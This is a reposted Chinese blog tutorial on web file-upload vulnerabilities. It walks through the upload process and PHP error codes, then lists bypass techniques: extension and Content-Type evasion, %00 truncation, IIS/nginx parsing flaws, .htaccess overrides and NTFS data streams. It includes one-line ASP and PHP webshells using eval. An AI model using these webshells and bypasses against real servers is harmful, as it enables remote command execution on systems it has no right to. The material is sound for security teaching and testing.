小言_互联网的博客

WEB安全之:文件上传

512人阅读  评论(0)

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 文件上传过程

1.1 浏览器打开上传页面

  • # 客户端上传表单
    upload.html
    <html>
    <head></head>
    <body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
        <input type="hidden" name="MAX_FILE_SIZE" value="100000">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file"/>
        <br/>
        <input type="submit" name="submit" value="Submit"/>
    </form>
    </body>
    </html>
    
    <!-- enctype:属性规定在发送到服务器之前应该如何对表单数据进行编码。 -->
    <!-- multipart/form-data:在 Web 表单文件上传时使用。 -->
    

1.2 用户提交上传请求

  • 对于 multipart/form-fata 类型的表单,浏览器上传的实体内容中的每个表单字段元素的数据之间,用字段分割线进行分割,每两个分割界线间的内容成为一个分区,每个分区的内容可以被看做两部分,一部分是对表单元字段元素进行描述的描述头,另一部分是表单元字段元素的主体内容。

  • #  抓包分析
    POST /upload.php HTTP/1.1	# 响应头部
    Host: 192.168.100.129
    User-Agent: Mozilla/5.0 (iPad; CPU OS 10_15_5 (Erg.nzendes Update) like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/15E148 Safari/605.1.15
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------9317842496954838981816999048
    Content-Length: 6221
    Origin: http://192.168.100.129
    Connection: keep-alive
    Referer: http://192.168.100.129/upload.html
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    	#空行\r\n
    -----------------------------9317842496954838981816999048
    Content-Disposition: form-data; name="MAX_FILE_SIZE"	# 描述头
    
    100000	# 主体内容
    -----------------------------9317842496954838981816999048
    Content-Disposition: form-data; name="file"; filename="logo.svg"	# 描述头
    Content-Type: image/svg+xml	# 描述头
    	# 空行\r\n
    <svg xmlns="http://www.w3.org/2000/svg" width="589.827" height="361.238" viewBox="0 0 442.37 270.929">...</svg>		# 主体内容
    -----------------------------9317842496954838981816999048
    Content-Disposition: form-data; name="submit"	# 描述头
    	# 空行\r\n
    Submit	# 主体内容
    -----------------------------9317842496954838981816999048--
    

1.3 WEB 程序处理

WEB 程序处理用户提交的数据并将读取到的文件保存为临时文件

  • # 服务器处理请求脚本
    <?php
        if ($_FILES["file"]["error"] > 0)
          {
         
          echo "Error: " . $_FILES["file"]["error"] . "<br />";
          }
        else
          {
         
          echo "Upload: " . $_FILES["file"]["name"] . "<br />";
          echo "Type: " . $_FILES["file"]["type"] . "<br />";
          echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
          echo "File Path: " . $_FILES["file"]["tmp_name"];
          }
    ?>
    

1.4 按规则存放文件

根据WEB 程序管理员配置,将文件移动到指定路径

Upload: logo.svg
Type: image/svg+xml
Size: 5.6240234375 Kb
File Path: C:\ZkeysSoft\Php\tmp\phpE.tmp

2 PHP 文件上传 error 的错误类型

$FILES[ 'file' ][ 'error' ]一共有7种类型:

  1. 值为 0:UPLOAD_ERR_OK,没有错误发生,文件上传成功。
  2. 值为 1:UPLOAD_ERR_INI_SIZE,上传的文件超过了 php.ini 中 upload_max_filesize选项限制的值。
  3. 值为 2:UPLOAD_ERR_FORM_SIZE,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
  4. 值为 3:UPLOAD_ERR_PARTIAL,文件只有部分被上传。
  5. 值为 4:UPLOAD_ERR_NO_FILE,没有文件被上传。
  6. 值为 5:UPLOAD_ERR_NO_TMP_DIR,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。
  7. 值为 6:UPLOAD_ERR_CANT_WRITE,文件写入失败。PHP 5.1.0 引进。

3 文件上传漏洞

3.1 原理

在处理上传文件时,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。

3.2 可能造成上传漏洞的原因

3.2.1 程序代码或系统缺陷

  1. 没有任何限制和过滤

    • 可直接上传 webshell 文件
  2. ** javascript 脚本限制**:

    • 只会检测上传文件的后缀名

    • 绕过方式:

      1. 禁用浏览器 JS 功能
      2. 修改 HTML 文档:去除 JS 脚本
          <form id=form1 method="post" enctype="multipart/form-data" action="http://host/upload.php">
      3. 先把所要上传的文件修改成允许上传的文件类型,通过 Burp Suite 抓包修改后缀名进行绕过。
      4. 上传允许的文件类型,通过 Burp Suite 抓包修改后缀名与文件数据进行绕过。
          Content-Disposition: form-data; name="file"; filename="test.jpg"	# 将 "test.jpg" 修改为 "test.php"
          # 将上传数据修改为:<?php echo "webshell upload success!" ?>
      
  3. 黑名单过滤不全

    • 绕过方式:

      1. 穷举后缀名
      2. 大小写转换:PHp、ASp
      3. 名单列表绕过:如 php 换成 .phtml/.php3/.php5 asp 改成 aspx
      4. 特殊文件名:通过 Burp Suite 抓包把文件名改成 "xx.php." 或者 "xx.php_" (下划线代表空格)或者 "."、"空格." 的方式 。(注:在windows系统是不允许的,只能在 Burp Suite 里修改。当绕过之后,windows 会自动去掉后面的 "." 和 "_" )
      5. "%00" 截断:截断路径或截断文件名,版本限制(php<5.3.4)
      6. 关键字替换:如双写绕过:aspasp
      
    • 常见 WEB 文件类型

      asp,asa,cdx,cer,php,aspx,ashx,jsp,php3,php.a,shtml,phtml
      
  4. 利用白名单

    • 绕过方式

      1. "%00" 截断:截断路径或截断文件名,版本限制(php<5.3.4)
      2. IIS 6.0 解析漏洞
      
  5. Content-Type 检测

    • 绕过方式:

      通过 Burp Suite 抓包把 "Content-Type" 的值改成合规的类型,如:image/gif
      
  6. 文件名可控,后缀名不可控

    • IIS 6.0 解析漏洞

      1. 目录解析漏洞:服务器默认会把存在于 "*.asp" 或 "*.cer" 这样的目录下的文件都解析成 asp 文件,只要上传文件到这个文件夹里,访问就会执行脚本
      
      创建一句话 asp 文件:a.asp
      	<%eval request("cmd")%>
      	通过 Burp Suite 修改上传 a.asp 文件请求数据,把filename="a.asp" 的改成 filename="a.asp/evil.jpg"
      	并将 name="filepath" 下的主体内容 "upload" 修改为 "webshell.asp并将 name="filepath" 下的主体内容 "upload" 修改为 "webshell.asp
      
      2. 文件解析漏洞:服务器默认不解析 ";" 以后的内容,因此构造的 "a.php;.jpg" 就会被解析成 php 文件
          通过 Burp Suite 抓包把文件名 "a.php" 的改成 "a.php;.jpg"
      
    • IIS 7 绕过方式

      IIS 7/7.5 在 Fast-CGI 运行模式下,在一个文件路径 "/xx.jpg "后面加上 "/xx.php" 会将 "/xx.jpg/xx.php" 解析为 php 文件
      
  7. "%00" 截断:

    • 绕过方式

      1. 直接截断文件名:filename="a.php" 修改为 filename="a.php%00.gif" 并右键对 "%00" 进行 url-decode,若程序代码对文件名做了额外限制,可能会导致该方法失效。
      2. 创建目录可控:"%00" 截断创建目录,利用 IIS 6.0 解析漏洞,上传文件到这个目录里面
      	通过 Burp Suite 抓包将 name="filepath" 下的主体内容 "upload" 修改为 "webshell.asp%00upload" 并右键对 "%00" 进行 url-decode。配合IIS 6.0 解析漏洞进行文件上传
      
      3. 截断参数:上传合规图片一句话,通过 Burp Suite 抓包把文件名 "参数字段" 下的主体内容 "值" 修改为 "webshell.php%00" 并右键对 "%00" 进行 url-decode
      
  8. 文件头检测

    • 绕过方式

      1. 修改文件头,修改的是十六进制下的文件头值
      2. 图片一句话:copy 1.jpg/b+a.php webshell.php
      3. 文件头类型
          - JPEG (jpg)文件头:FFD8FF 
          - PNG (png)文件头:89504E47 
          - GIF (gif)文件头:47494638 
          - TIFF (tif)文件头:49492A00 
          - Windows Bitmap (bmp)文件头:424D
      # 文件幻数:是用来唯一标识文件类型的一系列数字,通过检测内容开始处的文件幻数来确定文件类型
      

3.2.2 程序逻辑缺陷

  1. 双文件上传

    • 将原本单文件的 HTML 文件修改为可进行多文件上传,先上传合规文件,再选择上传 webshell 文件(如:webshell.php)
      增加 input type="file" 标签数量。
      <input type="file" name="file" id="file2"/>
      
  2. 空格文件(文件名称中包含空格)上传

    • 上传一句话文件(如a.php),通过 Burp Suite 抓包将 filename="a.php" 修改为 filename="a.jpg a.php"
      

3.2.3 不当配置

  1. apache 使能重写模块:LoadModule rewrite_module modules/mod_rewrite.so

    • 通过上传 “.htaccesss” 文件,重新写入解析规则,把上传的带有一句话合规文件以 php 方式解析

      .htaccesss内容

      <FilesMatch "jpg">
      SetHandler application/x-httpd-php
      </FilesMatch>
      
  2. IIS 7.0、IIS 7.5、nginx 使能 fast-cgi (后续补充)

3.2.4 漏洞

  1. nginx<0.83

    php 开启 "fix_pathinfo" 选项,上传 "1.jpg" 这样格式的文件之后,构建一个 url 参数 "1.jpg/.php" ,此时 "1.jpg" 会被作为 php 解析。
    

3.2.5 系统特性

  1. 通过 Burp Suite 抓包将上传文件名前缀修改成 “a.php:” 的时候会在目录下生成 “a.php” 的空白文件,如将a.jpg 修改为 a.php:.jpg

  2. php+window+iis:

    利用 PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
    双引号"     =   点号.
    大于符号>   =   问号?
    小于符号<   =   星号*
    如:针对php文件类型:"文件名.<" = "文件名.>>>" = "文件名.>><"
    
    通过 Burp Suite 抓包对生成的 a.php 文件写入一句话:
    修改 filename="a.<"  # 注此处的名字要与第一步骤的文件前缀名一致。
    修改文件字段主体内容为以下:
    <?php
    	phpinfo();
    	echo "upload webshel success!";
    	eval($_POST['cmd']);
    ?>
    
  3. window系统里面会自动把文件名的最后一个 “.” 或 “_” 会去掉

    • 如上传" test.php........" 最后还是会变成 "test.php"
      用于可用于绕过 WAF。
      

3.2.6 windows下的NTFS的数据流格式NTFS交换数据流

  1. “:$DATA” 创建文件

  2. “::$DATA” 创建和写入文件

  3. 利用方式:

    • 创建文件:通过 Burp Suite 抓包将文件字段下的 filename="值" 修改为 filename="datatest.php:$DATA"
      
      创建并写入文件:通过 Burp Suite 抓包将文件字段下的 filename="值" 修改为 filename="datatest.php::$DATA",并将主体内容修改为以下:
      <?php
      	phpinfo();
      	echo "upload webshel success!";
      	eval($_POST['cmd']);
      ?>
      

转载:https://blog.csdn.net/f_carey/article/details/117378609
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场